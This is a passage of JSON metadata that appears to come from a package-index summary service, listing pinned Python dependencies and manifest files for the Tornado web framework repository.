e},{"id":11146381251,"package_name":"sphinxcontrib-applehelp","ecosystem":"pypi","requirements":"==1.0.3","direct":false,"kind":"runtime","optional":false},{"id":11146381252,"package_name":"sphinxcontrib-asyncio","ecosystem":"pypi","requirements":"==0.3.0","direct":false,"kind":"runtime","optional":false},{"id":11146381253,"package_name":"sphinxcontrib-devhelp","ecosystem":"pypi","requirements":"==1.0.2","direct":false,"kind":"runtime","optional":false},{"id":11146381254,"package_name":"sphinxcontrib-htmlhelp","ecosystem":"pypi","requirements":"==2.0.0","direct":false,"kind":"runtime","optional":false},{"id":11146381255,"package_name":"sphinxcontrib-jsmath","ecosystem":"pypi","requirements":"==1.0.1","direct":false,"kind":"runtime","optional":false},{"id":11146381256,"package_name":"sphinxcontrib-qthelp","ecosystem":"pypi","requirements":"==1.0.3","direct":false,"kind":"runtime","optional":false},{"id":11146381257,"package_name":"sphinxcontrib-serializinghtml","ecosystem":"pypi","requirements":"==1.1.5","direct":false,"kind":"runtime","optional":false},{"id":11146381258,"package_name":"tomli","ecosystem":"pypi","requirements":"==2.0.1","direct":false,"kind":"runtime","optional":false},{"id":11146381259,"package_name":"tox","ecosystem":"pypi","requirements":"==4.6.0","direct":false,"kind":"runtime","optional":false},{"id":11146381260,"package_name":"types-pycurl","ecosystem":"pypi","requirements":"==7.45.2.0","direct":false,"kind":"runtime","optional":false},{"id":11146381261,"package_name":"typing-extensions","ecosystem":"pypi","requirements":"==4.4.0","direct":false,"kind":"runtime","optional":false},{"id":11146381262,"package_name":"urllib3","ecosystem":"pypi","requirements":"==1.26.14","direct":false,"kind":"runtime","optional":false},{"id":11146381263,"package_name":"virtualenv","ecosystem":"pypi","requirements":"==20.23.0","direct":false,"kind":"runtime","optional":false},{"id":11146381264,"package_name":"wheel","ecosystem":"pypi","requirements":"==0.38.4","direct":false,"kind":"runtime","optional":false}]},{"ecosystem":"pypi","filepath":"maint/test/cython/setup.py","sha":null,"kind":"manifest","created_at":"2026-08-14T16:34:00.974Z","updated_at":"2026-08-14T16:34:00.974Z","repository_link":"https://github.com/tornadoweb/tornado/blob/master/maint/test/cython/setup.py","dependencies":[]},{"ecosystem":"pypi","filepath":"maint/test/mypy/setup.py","sha":null,"kind":"manifest","created_at":"2026-08-14T16:34:01.029Z","updated_at":"2026-08-14T16:34:01.029Z","repository_link":"https://github.com/tornadoweb/tornado/blob/master/maint/test/mypy/setup.py","dependencies":[]},{"ecosystem":"pypi","filepath":"setup.py","sha":null,"kind":"manifest","created_at":"2026-08-14T16:34:01.179Z","updated_at":"2026-08-14T16:34:01.179Z","repository_link":"https://github.com/tornadoweb/tornado/blob/master/setup.py","dependencies":[]},{"ecosystem":"docker","filepath":"demos/blog/docker-compose.yml","sha":null,"kind":"manifest","created_at":"2026-08-14T16:34:00.831Z","updated_at":"2026-08-14T16:34:00.831Z","repository_link":"https://github.com/tornadoweb/tornado/blob/master/demos/blog/docker-compose.yml","dependencies":[]},{"ecosystem":"pypi","filepath":"pyproject.toml","sha":null,"kind":"manifest","created_at":"2026-08-14T16:34:01.089Z","updated_at":"2026-08-14T16:34:01.089Z","repository_link":"https://github.com/tornadoweb/tornado/blob/master/pyproject.toml","dependencies":[]}],"score":38.30752299210049,"created_at":"2026-05-04T06:49:11.157Z","updated_at":"2026-08-25T14:05:59.698Z","avatar_url":"https://github.com/tornadoweb.png","language":"Python","codemeta":null,"publiccode":null,"project_url":"https://summary.ecosyste.ms/api/v1/projects/371678","html_url":"https://summary.ecosyste.ms/projects/371678"}